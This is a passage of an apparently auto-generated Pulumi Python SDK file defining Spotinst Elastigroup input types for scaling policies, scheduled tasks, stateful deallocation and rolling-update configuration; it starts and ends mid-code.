@source.setter def source(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source", value) @property @pulumi.getter def statistic(self) -> Optional[pulumi.Input[str]]: """ The metric statistics to return. For information about specific statistics go to [Statistics](http://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/index.html?CHAP_TerminologyandKeyConcepts.html#Statistic) in the Amazon CloudWatch Developer Guide. """ return pulumi.get(self, "statistic") @statistic.setter def statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "statistic", value) @property @pulumi.getter(name="stepAdjustments") def step_adjustments(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingUpPolicyStepAdjustmentArgs']]]]: return pulumi.get(self, "step_adjustments") @step_adjustments.setter def step_adjustments(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingUpPolicyStepAdjustmentArgs']]]]): pulumi.set(self, "step_adjustments", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The target number of instances to have in the group. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @property @pulumi.getter def threshold(self) -> Optional[pulumi.Input[float]]: """ The value against which the specified statistic is compared in order to determine if a step should be applied. """ return pulumi.get(self, "threshold") @threshold.setter def threshold(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "threshold", value) @property @pulumi.getter def unit(self) -> Optional[pulumi.Input[str]]: """ The unit for the alarm's associated metric. Valid values: `"percent`, `"seconds"`, `"microseconds"`, `"milliseconds"`, `"bytes"`, `"kilobytes"`, `"megabytes"`, `"gigabytes"`, `"terabytes"`, `"bits"`, `"kilobits"`, `"megabits"`, `"gigabits"`, `"terabits"`, `"count"`, `"bytes/second"`, `"kilobytes/second"`, `"megabytes/second"`, `"gigabytes/second"`, `"terabytes/second"`, `"bits/second"`, `"kilobits/second"`, `"megabits/second"`, `"gigabits/second"`, `"terabits/second"`, `"count/second"`, `"none"`. """ return pulumi.get(self, "unit") @unit.setter def unit(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "unit", value) @pulumi.input_type class ElastigroupScalingUpPolicyDimensionArgs: def __init__(__self__, *, name: pulumi.Input[str], value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The record set name. :param pulumi.Input[str] value: The dimension value. """ pulumi.set(__self__, "name", name) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The record set name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The dimension value. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ElastigroupScalingUpPolicyStepAdjustmentArgs: def __init__(__self__, *, action: pulumi.Input['ElastigroupScalingUpPolicyStepAdjustmentActionArgs'], threshold: pulumi.Input[int]): """ :param pulumi.Input['ElastigroupScalingUpPolicyStepAdjustmentActionArgs'] action: Action to take. Valid values: `REPLACE_SERVER`, `RESTART_SERVER`. :param pulumi.Input[int] threshold: The value against which the specified statistic is compared. If a `step_adjustment` object is defined, then it cannot be specified. """ pulumi.set(__self__, "action", action) pulumi.set(__self__, "threshold", threshold) @property @pulumi.getter def action(self) -> pulumi.Input['ElastigroupScalingUpPolicyStepAdjustmentActionArgs']: """ Action to take. Valid values: `REPLACE_SERVER`, `RESTART_SERVER`. """ return pulumi.get(self, "action") @action.setter def action(self, value: pulumi.Input['ElastigroupScalingUpPolicyStepAdjustmentActionArgs']): pulumi.set(self, "action", value) @property @pulumi.getter def threshold(self) -> pulumi.Input[int]: """ The value against which the specified statistic is compared. If a `step_adjustment` object is defined, then it cannot be specified. """ return pulumi.get(self, "threshold") @threshold.setter def threshold(self, value: pulumi.Input[int]): pulumi.set(self, "threshold", value) @pulumi.input_type class ElastigroupScalingUpPolicyStepAdjustmentActionArgs: def __init__(__self__, *, type: pulumi.Input[str], adjustment: Optional[pulumi.Input[str]] = None, max_target_capacity: Optional[pulumi.Input[str]] = None, maximum: Optional[pulumi.Input[str]] = None, min_target_capacity: Optional[pulumi.Input[str]] = None, minimum: Optional[pulumi.Input[str]] = None, target: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] type: String, Action type. Supported action types: `pause`, `resume`, `recycle`, `deallocate`. :param pulumi.Input[str] adjustment: The number of instances to add or remove. :param pulumi.Input[str] max_target_capacity: The desired target capacity of a group. Required if using `"setMaxTarget"` as action type :param pulumi.Input[str] maximum: The upper limit number of instances that you can scale up to. Required if using `"updateCapacity"` as action type and neither `"target"` nor `"minimum"` are not defined. :param pulumi.Input[str] min_target_capacity: The desired target capacity of a group. Required if using `"setMinTarget"` as action type :param pulumi.Input[str] minimum: The lower limit number of instances that you can scale down to. Required if using `"updateCapacity"` as action type and neither `"target"` nor `"maximum"` are not defined. :param pulumi.Input[str] target: The desired number of instances. Required if using `"updateCapacity"` as action type and neither `"minimum"` nor `"maximum"` are not defined. """ pulumi.set(__self__, "type", type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if max_target_capacity is not None: pulumi.set(__self__, "max_target_capacity", max_target_capacity) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_target_capacity is not None: pulumi.set(__self__, "min_target_capacity", min_target_capacity) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if target is not None: pulumi.set(__self__, "target", target) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ String, Action type. Supported action types: `pause`, `resume`, `recycle`, `deallocate`. """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add or remove. """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter(name="maxTargetCapacity") def max_target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired target capacity of a group. Required if using `"setMaxTarget"` as action type """ return pulumi.get(self, "max_target_capacity") @max_target_capacity.setter def max_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_target_capacity", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[str]]: """ The upper limit number of instances that you can scale up to. Required if using `"updateCapacity"` as action type and neither `"target"` nor `"minimum"` are not defined. """ return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minTargetCapacity") def min_target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired target capacity of a group. Required if using `"setMinTarget"` as action type """ return pulumi.get(self, "min_target_capacity") @min_target_capacity.setter def min_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_target_capacity", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[str]]: """ The lower limit number of instances that you can scale down to. Required if using `"updateCapacity"` as action type and neither `"target"` nor `"maximum"` are not defined. """ return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "minimum", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The desired number of instances. Required if using `"updateCapacity"` as action type and neither `"minimum"` nor `"maximum"` are not defined. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @pulumi.input_type class ElastigroupScheduledTaskArgs: def __init__(__self__, *, task_type: pulumi.Input[str], adjustment: Optional[pulumi.Input[str]] = None, adjustment_percentage: Optional[pulumi.Input[str]] = None, batch_size_percentage: Optional[pulumi.Input[str]] = None, cron_expression: Optional[pulumi.Input[str]] = None, frequency: Optional[pulumi.Input[str]] = None, grace_period: Optional[pulumi.Input[str]] = None, is_enabled: Optional[pulumi.Input[bool]] = None, max_capacity: Optional[pulumi.Input[str]] = None, min_capacity: Optional[pulumi.Input[str]] = None, scale_max_capacity: Optional[pulumi.Input[str]] = None, scale_min_capacity: Optional[pulumi.Input[str]] = None, scale_target_capacity: Optional[pulumi.Input[str]] = None, start_time: Optional[pulumi.Input[str]] = None, target_capacity: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] task_type: The task type to run. Supported task types are: `"scale"`, `"backup_ami"`, `"roll"`, `"scaleUp"`, `"percentageScaleUp"`, `"scaleDown"`, `"percentageScaleDown"`, `"statefulUpdateCapacity"`. :param pulumi.Input[str] adjustment: The number of instances to add or remove. :param pulumi.Input[str] adjustment_percentage: The percentage of instances to add or remove. :param pulumi.Input[str] batch_size_percentage: The percentage size of each batch in the scheduled deployment roll. :param pulumi.Input[str] cron_expression: A valid cron expression. The cron is running in UTC time zone and is in [Unix cron format](https://en.wikipedia.org/wiki/Cron). :param pulumi.Input[str] frequency: The recurrence frequency to run this task. Supported values are `"hourly"`, `"daily"`, `"weekly"` and `"continuous"`. :param pulumi.Input[str] grace_period: The period of time (seconds) to wait before checking a batch's health after it's deployment. :param pulumi.Input[bool] is_enabled: Setting the task to being enabled or disabled. :param pulumi.Input[str] max_capacity: The maximum number of instances the group should have. :param pulumi.Input[str] min_capacity: The minimum number of instances the group should have. :param pulumi.Input[str] scale_max_capacity: The maximum number of instances the group should have. :param pulumi.Input[str] scale_min_capacity: The minimum number of instances the group should have. :param pulumi.Input[str] scale_target_capacity: The desired number of instances the group should have. :param pulumi.Input[str] start_time: Set a start time for one time tasks. :param pulumi.Input[str] target_capacity: The desired number of instances the group should have. """ pulumi.set(__self__, "task_type", task_type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if adjustment_percentage is not None: pulumi.set(__self__, "adjustment_percentage", adjustment_percentage) if batch_size_percentage is not None: pulumi.set(__self__, "batch_size_percentage", batch_size_percentage) if cron_expression is not None: pulumi.set(__self__, "cron_expression", cron_expression) if frequency is not None: pulumi.set(__self__, "frequency", frequency) if grace_period is not None: pulumi.set(__self__, "grace_period", grace_period) if is_enabled is not None: pulumi.set(__self__, "is_enabled", is_enabled) if max_capacity is not None: pulumi.set(__self__, "max_capacity", max_capacity) if min_capacity is not None: pulumi.set(__self__, "min_capacity", min_capacity) if scale_max_capacity is not None: pulumi.set(__self__, "scale_max_capacity", scale_max_capacity) if scale_min_capacity is not None: pulumi.set(__self__, "scale_min_capacity", scale_min_capacity) if scale_target_capacity is not None: pulumi.set(__self__, "scale_target_capacity", scale_target_capacity) if start_time is not None: pulumi.set(__self__, "start_time", start_time) if target_capacity is not None: pulumi.set(__self__, "target_capacity", target_capacity) @property @pulumi.getter(name="taskType") def task_type(self) -> pulumi.Input[str]: """ The task type to run. Supported task types are: `"scale"`, `"backup_ami"`, `"roll"`, `"scaleUp"`, `"percentageScaleUp"`, `"scaleDown"`, `"percentageScaleDown"`, `"statefulUpdateCapacity"`. """ return pulumi.get(self, "task_type") @task_type.setter def task_type(self, value: pulumi.Input[str]): pulumi.set(self, "task_type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add or remove. """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter(name="adjustmentPercentage") def adjustment_percentage(self) -> Optional[pulumi.Input[str]]: """ The percentage of instances to add or remove. """ return pulumi.get(self, "adjustment_percentage") @adjustment_percentage.setter def adjustment_percentage(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment_percentage", value) @property @pulumi.getter(name="batchSizePercentage") def batch_size_percentage(self) -> Optional[pulumi.Input[str]]: """ The percentage size of each batch in the scheduled deployment roll. """ return pulumi.get(self, "batch_size_percentage") @batch_size_percentage.setter def batch_size_percentage(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "batch_size_percentage", value) @property @pulumi.getter(name="cronExpression") def cron_expression(self) -> Optional[pulumi.Input[str]]: """ A valid cron expression. The cron is running in UTC time zone and is in [Unix cron format](https://en.wikipedia.org/wiki/Cron). """ return pulumi.get(self, "cron_expression") @cron_expression.setter def cron_expression(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cron_expression", value) @property @pulumi.getter def frequency(self) -> Optional[pulumi.Input[str]]: """ The recurrence frequency to run this task. Supported values are `"hourly"`, `"daily"`, `"weekly"` and `"continuous"`. """ return pulumi.get(self, "frequency") @frequency.setter def frequency(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "frequency", value) @property @pulumi.getter(name="gracePeriod") def grace_period(self) -> Optional[pulumi.Input[str]]: """ The period of time (seconds) to wait before checking a batch's health after it's deployment. """ return pulumi.get(self, "grace_period") @grace_period.setter def grace_period(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "grace_period", value) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Setting the task to being enabled or disabled. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_enabled", value) @property @pulumi.getter(name="maxCapacity") def max_capacity(self) -> Optional[pulumi.Input[str]]: """ The maximum number of instances the group should have. """ return pulumi.get(self, "max_capacity") @max_capacity.setter def max_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_capacity", value) @property @pulumi.getter(name="minCapacity") def min_capacity(self) -> Optional[pulumi.Input[str]]: """ The minimum number of instances the group should have. """ return pulumi.get(self, "min_capacity") @min_capacity.setter def min_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_capacity", value) @property @pulumi.getter(name="scaleMaxCapacity") def scale_max_capacity(self) -> Optional[pulumi.Input[str]]: """ The maximum number of instances the group should have. """ return pulumi.get(self, "scale_max_capacity") @scale_max_capacity.setter def scale_max_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_max_capacity", value) @property @pulumi.getter(name="scaleMinCapacity") def scale_min_capacity(self) -> Optional[pulumi.Input[str]]: """ The minimum number of instances the group should have. """ return pulumi.get(self, "scale_min_capacity") @scale_min_capacity.setter def scale_min_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_min_capacity", value) @property @pulumi.getter(name="scaleTargetCapacity") def scale_target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired number of instances the group should have. """ return pulumi.get(self, "scale_target_capacity") @scale_target_capacity.setter def scale_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scale_target_capacity", value) @property @pulumi.getter(name="startTime") def start_time(self) -> Optional[pulumi.Input[str]]: """ Set a start time for one time tasks. """ return pulumi.get(self, "start_time") @start_time.setter def start_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "start_time", value) @property @pulumi.getter(name="targetCapacity") def target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired number of instances the group should have. """ return pulumi.get(self, "target_capacity") @target_capacity.setter def target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target_capacity", value) @pulumi.input_type class ElastigroupSignalArgs: def __init__(__self__, *, name: pulumi.Input[str], timeout: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[str] name: The name of the signal defined for the group. Valid Values: `"INSTANCE_READY"`, `"INSTANCE_READY_TO_SHUTDOWN"` :param pulumi.Input[int] timeout: The signals defined timeout- default is 40 minutes (1800 seconds). """ pulumi.set(__self__, "name", name) if timeout is not None: pulumi.set(__self__, "timeout", timeout) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The name of the signal defined for the group. Valid Values: `"INSTANCE_READY"`, `"INSTANCE_READY_TO_SHUTDOWN"` """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def timeout(self) -> Optional[pulumi.Input[int]]: """ The signals defined timeout- default is 40 minutes (1800 seconds). """ return pulumi.get(self, "timeout") @timeout.setter def timeout(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "timeout", value) @pulumi.input_type class ElastigroupStatefulDeallocationArgs: def __init__(__self__, *, should_delete_images: Optional[pulumi.Input[bool]] = None, should_delete_network_interfaces: Optional[pulumi.Input[bool]] = None, should_delete_snapshots: Optional[pulumi.Input[bool]] = None, should_delete_volumes: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[bool] should_delete_images: For stateful groups: remove persistent images. :param pulumi.Input[bool] should_delete_network_interfaces: For stateful groups: remove network interfaces. :param pulumi.Input[bool] should_delete_snapshots: For stateful groups: remove snapshots. :param pulumi.Input[bool] should_delete_volumes: For stateful groups: remove persistent volumes. """ if should_delete_images is not None: pulumi.set(__self__, "should_delete_images", should_delete_images) if should_delete_network_interfaces is not None: pulumi.set(__self__, "should_delete_network_interfaces", should_delete_network_interfaces) if should_delete_snapshots is not None: pulumi.set(__self__, "should_delete_snapshots", should_delete_snapshots) if should_delete_volumes is not None: pulumi.set(__self__, "should_delete_volumes", should_delete_volumes) @property @pulumi.getter(name="shouldDeleteImages") def should_delete_images(self) -> Optional[pulumi.Input[bool]]: """ For stateful groups: remove persistent images. """ return pulumi.get(self, "should_delete_images") @should_delete_images.setter def should_delete_images(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_delete_images", value) @property @pulumi.getter(name="shouldDeleteNetworkInterfaces") def should_delete_network_interfaces(self) -> Optional[pulumi.Input[bool]]: """ For stateful groups: remove network interfaces. """ return pulumi.get(self, "should_delete_network_interfaces") @should_delete_network_interfaces.setter def should_delete_network_interfaces(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_delete_network_interfaces", value) @property @pulumi.getter(name="shouldDeleteSnapshots") def should_delete_snapshots(self) -> Optional[pulumi.Input[bool]]: """ For stateful groups: remove snapshots. """ return pulumi.get(self, "should_delete_snapshots") @should_delete_snapshots.setter def should_delete_snapshots(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_delete_snapshots", value) @property @pulumi.getter(name="shouldDeleteVolumes") def should_delete_volumes(self) -> Optional[pulumi.Input[bool]]: """ For stateful groups: remove persistent volumes. """ return pulumi.get(self, "should_delete_volumes") @should_delete_volumes.setter def should_delete_volumes(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_delete_volumes", value) @pulumi.input_type class ElastigroupStatefulInstanceActionArgs: def __init__(__self__, *, stateful_instance_id: pulumi.Input[str], type: pulumi.Input[str]): """ :param pulumi.Input[str] stateful_instance_id: String, Stateful Instance ID on which the action should be performed. :param pulumi.Input[str] type: String, Action type. Supported action types: `pause`, `resume`, `recycle`, `deallocate`. """ pulumi.set(__self__, "stateful_instance_id", stateful_instance_id) pulumi.set(__self__, "type", type) @property @pulumi.getter(name="statefulInstanceId") def stateful_instance_id(self) -> pulumi.Input[str]: """ String, Stateful Instance ID on which the action should be performed. """ return pulumi.get(self, "stateful_instance_id") @stateful_instance_id.setter def stateful_instance_id(self, value: pulumi.Input[str]): pulumi.set(self, "stateful_instance_id", value) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ String, Action type. Supported action types: `pause`, `resume`, `recycle`, `deallocate`. """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @pulumi.input_type class ElastigroupTagArgs: def __init__(__self__, *, key: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] value: The dimension value. """ if key is not None: pulumi.set(__self__, "key", key) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "key") @key.setter def key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The dimension value. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ElastigroupUpdatePolicyArgs: def __init__(__self__, *, should_resume_stateful: pulumi.Input[bool], should_roll: pulumi.Input[bool], auto_apply_tags: Optional[pulumi.Input[bool]] = None, roll_config: Optional[pulumi.Input['ElastigroupUpdatePolicyRollConfigArgs']] = None): """ :param pulumi.Input[bool] should_resume_stateful: This will apply resuming action for Stateful instances in the Elastigroup upon scale up or capacity changes. Example usage will be for Elastigroups that will have scheduling rules to set a target capacity of 0 instances in the night and automatically restore the same state of the instances in the morning. :param pulumi.Input[bool] should_roll: Sets the enablement of the roll option. :param pulumi.Input[bool] auto_apply_tags: Enables updates to tags without rolling the group when set to `true`. :param pulumi.Input['ElastigroupUpdatePolicyRollConfigArgs'] roll_config: While used, you can control whether the group should perform a deployment after an update to the configuration. """ pulumi.set(__self__, "should_resume_stateful", should_resume_stateful) pulumi.set(__self__, "should_roll", should_roll) if auto_apply_tags is not None: pulumi.set(__self__, "auto_apply_tags", auto_apply_tags) if roll_config is not None: pulumi.set(__self__, "roll_config", roll_config) @property @pulumi.getter(name="shouldResumeStateful") def should_resume_stateful(self) -> pulumi.Input[bool]: """ This will apply resuming action for Stateful instances in the Elastigroup upon scale up or capacity changes. Example usage will be for Elastigroups that will have scheduling rules to set a target capacity of 0 instances in the night and automatically restore the same state of the instances in the morning. """ return pulumi.get(self, "should_resume_stateful") @should_resume_stateful.setter def should_resume_stateful(self, value: pulumi.Input[bool]): pulumi.set(self, "should_resume_stateful", value) @property @pulumi.getter(name="shouldRoll") def should_roll(self) -> pulumi.Input[bool]: """ Sets the enablement of the roll option. """ return pulumi.get(self, "should_roll") @should_roll.setter def should_roll(self, value: pulumi.Input[bool]): pulumi.set(self, "should_roll", value) @property @pulumi.getter(name="autoApplyTags") def auto_apply_tags(self) -> Optional[pulumi.Input[bool]]: """ Enables updates to tags without rolling the group when set to `true`. """ return pulumi.get(self, "auto_apply_tags") @auto_apply_tags.setter def auto_apply_tags(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "auto_apply_tags", value) @property @pulumi.getter(name="rollConfig") def roll_config(self) -> Optional[pulumi.Input['ElastigroupUpdatePolicyRollConfigArgs']]: """ While used, you can control whether the group should perform a deployment after an update to the configuration. """ return pulumi.get(self, "roll_config") @roll_config.setter def roll_config(self, value: Optional[pulumi.Input['ElastigroupUpdatePolicyRollConfigArgs']]): pulumi.set(self, "roll_config", value) @pulumi.input_type class ElastigroupUpdatePolicyRollConfigArgs: def __init__(__self__, *, batch_size_percentage: pulumi.Input[int], grace_period: Optional[pulumi.Input[int]] = None, health_check_type: Optional[pulumi.Input[str]] = None, strategy: Optional[pulumi.Input['ElastigroupUpdatePolicyRollConfigStrategyArgs']] = None, wait_for_roll_percentage: Optional[pulumi.Input[float]] = None, wait_for_roll_timeout: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] batch_size_percentage: Sets the percentage of the instances to deploy in each batch. :param pulumi.Input[int] grace_period: Sets the grace period for new instances to become healthy. :param pulumi.Input[str] health_check_type: Sets the health check type to use. Valid values: `"EC2"`, `"ECS_CLUSTER_INSTANCE"`, `"ELB"`, `"HCS"`, `"MLB"`, `"TARGET_GROUP"`, `"MULTAI_TARGET_SET"`, `"NONE"`. :param pulumi.Input['ElastigroupUpdatePolicyRollConfigStrategyArgs'] strategy: Strategy parameters :param pulumi.Input[float] wait_for_roll_percentage: For use with `should_roll`. Sets minimum % of roll required to complete before continuing the plan. Required if `wait_for_roll_timeout` is set. :param pulumi.Input[int] wait_for_roll_timeout: For use with `should_roll`. Sets how long to wait for the deployed % of a roll to exceed `wait_for_roll_percentage` before continuing the plan. Required if `wait_for_roll_percentage` is set. """ pulumi.set(__self__, "batch_size_percentage", batch_size_percentage) if grace_period is not None: pulumi.set(__self__, "grace_period", grace_period) if health_check_type is not None: pulumi.set(__self__, "health_check_type", health_check_type) if strategy is not None: pulumi.set(__self__, "strategy", strategy) if wait_for_roll_percentage is not None: pulumi.set(__self__, "wait_for_roll_percentage", wait_for_roll_percentage) if wait_for_roll_timeout is not None: pulumi.set(__self__, "wait_for_roll_timeout", wait_for_roll_timeout) @property @pulumi.getter(name="batchSizePercentage") def batch_size_percentage(self) -> pulumi.Input[int]: """ Sets the percentage of the instances to deploy in each batch. """ return pulumi.get(self, "batch_size_percentage") @batch_size_percentage.setter def batch_size_percentage(self, value: pulumi.Input[int]): pulumi.set(self, "batch_size_percentage", value) @property @pulumi.getter(name="gracePeriod") def grace_period(self) -> Optional[pulumi.Input[int]]: """ Sets the grace period for new instances to become healthy. """ return pulumi.get(self, "grace_period") @grace_period.setter def grace_period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "grace_period", value) @property @pulumi.getter(name="healthCheckType") def health_check_type(self) -> Optional[pulumi.Input[str]]: """ Sets the health check type to use. Valid values: `"EC2"`, `"ECS_CLUSTER_INSTANCE"`, `"ELB"`, `"HCS"`, `"MLB"`, `"TARGET_GROUP"`, `"MULTAI_TARGET_SET"`, `"NONE"`. """ return pulumi.get(self, "health_check_type") @health_check_type.setter def health_check_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "health_check_type", value) @property @pulumi.getter def strategy(self) -> Optional[pulumi.Input['ElastigroupUpdatePolicyRollConfigStrategyArgs']]: """ Strategy parameters """ return pulumi.get(self, "strategy") @strategy.setter def strategy(self, value: Optional[pulumi.Input['ElastigroupUpdatePolicyRollConfigStrategyArgs']]): pulumi.set(self, "strategy", value) @property @pulumi.getter(name="waitForRollPercentage") def wait_for_roll_percentage(self) -> Optional[pulumi.Input[float]]: """ For use with `should_roll`. Sets minimum % of roll required to complete before continuing the plan. Required if `wait_for_roll_timeout` is set. """ return pulumi.get(self, "wait_for_roll_percentage") @wait_for_roll_percentage.setter def wait_for_roll_percentage(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "wait_for_roll_percentage", value) @property @pulumi.getter(name="waitForRollTimeout") def wait_for_roll_timeout(self) -> Optional[pulumi.Input[int]]: """ For use with `should_roll`. Sets how long to wait for the deployed % of a roll to exceed `wait_for_roll_percentage` before continuing the plan. Required if `wait_for_roll_percentage` is set. """ return pulumi.get(self, "wait_for_roll_timeout") @wait_for_roll_timeout.setter def wait_for_roll_timeout(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "wait_for_roll_timeout", value) @pulumi.input_type class ElastigroupUpdatePolicyRollConfigStrategyArgs: def __init__(__self__, *, action: pulumi.Input[str], batch_min_healthy_percentage: Optional[pulumi.Input[int]] = None, on_failure: Optional[pulumi.Input['ElastigroupUpdatePolicyRollConfigStrategyOnFailureArgs']] = None, should_drain_instances: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] action: Action to take. Valid values: `REPLACE_SERVER`, `RESTART_SERVER`. :param pulumi.Input[int] batch_min_healthy_percentage: Indicates the threshold of minimum healthy instances in single batch. If the amount of healthy instances in single batch is under the threshold, the deployment will fail. Range `1` - `100`. :param pulumi.Input['ElastigroupUpdatePolicyRollConfigStrategyOnFailureArgs'] on_failure: Set detach options to the deployment. :param pulumi.Input[bool] should_drain_instances: Specify whether to drain incoming TCP connections before terminating a server. """ pulumi.set(__self__, "action", action) if batch_min_healthy_percentage is not None: pulumi.set(__self__, "batch_min_healthy_percentage", batch_min_healthy_percentage) if on_failure is not None: pulumi.set(__self__, "on_failure", on_failure) if should_drain_instances is not None: pulumi.set(__self__, "should_drain_instances", should_drain_instances) @property @pulumi.getter def action(self) -> pulumi.Input[str]: """ Action to take. Valid values: `REPLACE_SERVER`, `RESTART_SERVER`. """ return pulumi.get(self, "action") @action.setter def action(self, value: pulumi.Input[str]): pulumi.set(self, "action", value) @property @pulumi.getter(name="batchMinHealthyPercentage") def batch_min_healthy_percentage(self) -> Optional[pulumi.Input[int]]: """ Indicates the threshold of minimum healthy instances in single batch. If the amount of healthy instances in single batch is under the threshold, the deployment will fail. Range `1` - `100`. """ return pulumi.get(self, "batch_min_healthy_percentage") @batch_min_healthy_percentage.setter def batch_min_healthy_percentage(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "batch_min_healthy_percentage", value) @property @pulumi.getter(name="onFailure") def on_failure(self) -> Optional[pulumi.Input['ElastigroupUpdatePolicyRollConfigStrategyOnFailureArgs']]: """ Set detach options to the deployment. """ return pulumi.get(self, "on_failure") @on_failure.setter def on_failure(self, value: Optional[pulumi.Input['ElastigroupUpdatePolicyRollConfigStrategyOnFailureArgs']]): pulumi.set(self, "on_failure", value) @property @pulumi.getter(name="shouldDrainInstances") def should_drain_instances(self) -> Optional[pulumi.Input[bool]]: """ Specify whether to drain incoming TCP connections before terminating a server. """ return pulumi.get(self, "should_drain_instances") @should_drain_instances.setter def should_drain_instances(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_drain_instances", value) @pulumi.input_type class ElastigroupUpdatePolicyRollConfigStrategyOnFailureArgs: def __init__(__self__, *, action_type: pulumi.Input[str], batch_num: Optional[pulumi.Input[int]] = None, draining_timeout: Optional[pulumi.Input[int]] = None, should_decrement_target_capacity: Optional[pulumi.Input[bool]] = None, should_handle_all_batches: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] action_type: Sets the action that will take place, Accepted values are: `DETACH_OLD`, `DETACH_NEW`. :param pulumi.Input[int] draining_timeout: Indicates (in seconds) the timeout to wait until instance are detached. :param pulumi.Input[bool] should_decrement_target_capacity: Decrementing the group target capacity after detaching the instances. :param pulumi.Input[bool] should_handle_all_batches: Indicator if the action should apply to all batches of the deployment or only the latest batch. """ pulumi.set(__self__, "action_type", action_type) if batch_num is not None: pulumi.set(__self__, "batch_num", batch_num) if draining_timeout is not None: pulumi.set(__self__, "draining_timeout", draining_timeout) if should_decrement_target_capacity is not None: pulumi.set(__self__, "should_decrement_target_capacity", should_decrement_target_capacity) if should_handle_all_batches is not None: pulumi.set(__self__, "should_handle_all_batches", 